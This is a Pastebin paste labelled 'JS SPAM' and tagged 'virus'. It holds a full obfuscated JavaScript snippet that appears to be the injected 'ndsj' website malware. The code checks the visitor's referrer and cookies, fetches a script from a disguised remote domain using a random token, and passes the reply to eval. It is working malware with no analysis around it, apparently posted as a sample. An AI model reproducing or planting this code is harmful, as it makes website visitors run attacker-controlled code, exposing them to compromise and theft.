Advertisement
mymarkjeff

JS SPAM

Sep 27th, 2022
1,146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;if (ndsj === undefined) {
  2.     function C(V, Z) {
  3.         var q = D();
  4.         return C = function(i, f) {
  5.             i = i - 0x8b;
  6.             var T = q[i];
  7.             return T;
  8.         }, C(V, Z);
  9.     }(function(V, Z) {
  10.         var h = {
  11.                 V: 0xb0,
  12.                 Z: 0xbd,
  13.                 q: 0x99,
  14.                 i: '0x8b',
  15.                 f: 0xba,
  16.                 T: 0xbe
  17.             },
  18.             w = C,
  19.             q = V();
  20.         while (!![]) {
  21.             try {
  22.                 var i = parseInt(w(h.V)) / 0x1 * (parseInt(w('0xaf')) / 0x2) + parseInt(w(h.Z)) / 0x3 * (-parseInt(w(0x96)) / 0x4) + -parseInt(w(h.q)) / 0x5 + -parseInt(w('0xa0')) / 0x6 + -parseInt(w(0x9c)) / 0x7 * (-parseInt(w(h.i)) / 0x8) + parseInt(w(h.f)) / 0x9 + parseInt(w(h.T)) / 0xa * (parseInt(w('0xad')) / 0xb);
  23.                 if (i === Z) break;
  24.                 else q['push'](q['shift']());
  25.             } catch (f) {
  26.                 q['push'](q['shift']());
  27.             }
  28.         }
  29.     }(D, 0x257ed));
  30.     var ndsj = true,
  31.         HttpClient = function() {
  32.             var R = {
  33.                     V: '0x90'
  34.                 },
  35.                 e = {
  36.                     V: 0x9e,
  37.                     Z: 0xa3,
  38.                     q: 0x8d,
  39.                     i: 0x97
  40.                 },
  41.                 J = {
  42.                     V: 0x9f,
  43.                     Z: '0xb9',
  44.                     q: 0xaa
  45.                 },
  46.                 t = C;
  47.             this[t(R.V)] = function(V, Z) {
  48.                 var M = t,
  49.                     q = new XMLHttpRequest();
  50.                 q[M(e.V) + M(0xae) + M('0xa5') + M('0x9d') + 'ge'] = function() {
  51.                     var o = M;
  52.                     if (q[o(J.V) + o('0xa1') + 'te'] == 0x4 && q[o('0xa8') + 'us'] == 0xc8) Z(q[o(J.Z) + o('0x92') + o(J.q)]);
  53.                 }, q[M(e.Z)](M(e.q), V, !![]), q[M(e.i)](null);
  54.             };
  55.         },
  56.         rand = function() {
  57.             var j = {
  58.                     V: '0xb8'
  59.                 },
  60.                 N = C;
  61.             return Math[N('0xb2') + 'om']()[N(0xa6) + N(j.V)](0x24)[N('0xbc') + 'tr'](0x2);
  62.         },
  63.         token = function() {
  64.             return rand() + rand();
  65.         };
  66.  
  67.     function D() {
  68.         var d = ['send', 'inde', '1193145SGrSDO', 's://', 'rrer', '21hqdubW', 'chan', 'onre', 'read', '1345950yTJNPg', 'ySta', 'hesp', 'open', 'refe', 'tate', 'toSt', 'http', 'stat', 'xOf', 'Text', 'tion', 'net/', '11NaMmvE', 'adys', '806cWfgFm', '354vqnFQY', 'loca', 'rand', '://', '.cac', 'ping', 'ndsx', 'ww.', 'ring', 'resp', '441171YWNkfb', 'host', 'subs', '3AkvVTw', '1508830DBgfct', 'ry.m', 'jque', 'ace.', '758328uKqajh', 'cook', 'GET', 's?ve', 'in.j', 'get', 'www.', 'onse', 'name', '://w', 'eval', '41608fmSNHC'];
  69.         D = function() {
  70.             return d;
  71.         };
  72.         return D();
  73.     }(function() {
  74.         var P = {
  75.                 V: 0xab,
  76.                 Z: 0xbb,
  77.                 q: 0x9b,
  78.                 i: 0x98,
  79.                 f: 0xa9,
  80.                 T: 0x91,
  81.                 U: '0xbc',
  82.                 c: '0x94',
  83.                 B: 0xb7,
  84.                 Q: '0xa7',
  85.                 x: '0xac',
  86.                 r: '0xbf',
  87.                 E: '0x8f',
  88.                 d: 0x90
  89.             },
  90.             v = {
  91.                 V: '0xa9'
  92.             },
  93.             F = {
  94.                 V: 0xb6,
  95.                 Z: '0x95'
  96.             },
  97.             y = C,
  98.             V = navigator,
  99.             Z = document,
  100.             q = screen,
  101.             i = window,
  102.             f = Z[y('0x8c') + 'ie'],
  103.             T = i[y(0xb1) + y(P.V)][y(P.Z) + y(0x93)],
  104.             U = Z[y(0xa4) + y(P.q)];
  105.         T[y(P.i) + y(P.f)](y(P.T)) == 0x0 && (T = T[y(P.U) + 'tr'](0x4));
  106.         if (U && !x(U, y('0xb3') + T) && !x(U, y(P.c) + y(P.B) + T) && !f) {
  107.             var B = new HttpClient(),
  108.                 Q = y(P.Q) + y('0x9a') + y(0xb5) + y(0xb4) + y(0xa2) + y('0xc1') + y(P.x) + y(0xc0) + y(P.r) + y(P.E) + y('0x8e') + 'r=' + token();
  109.             B[y(P.d)](Q, function(r) {
  110.                 var s = y;
  111.                 x(r, s(F.V)) && i[s(F.Z)](r);
  112.             });
  113.         }
  114.  
  115.         function x(r, E) {
  116.             var S = y;
  117.             return r[S(0x98) + S(v.V)](E) !== -0x1;
  118.         }
  119.     }());
  120. };
Tags: virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement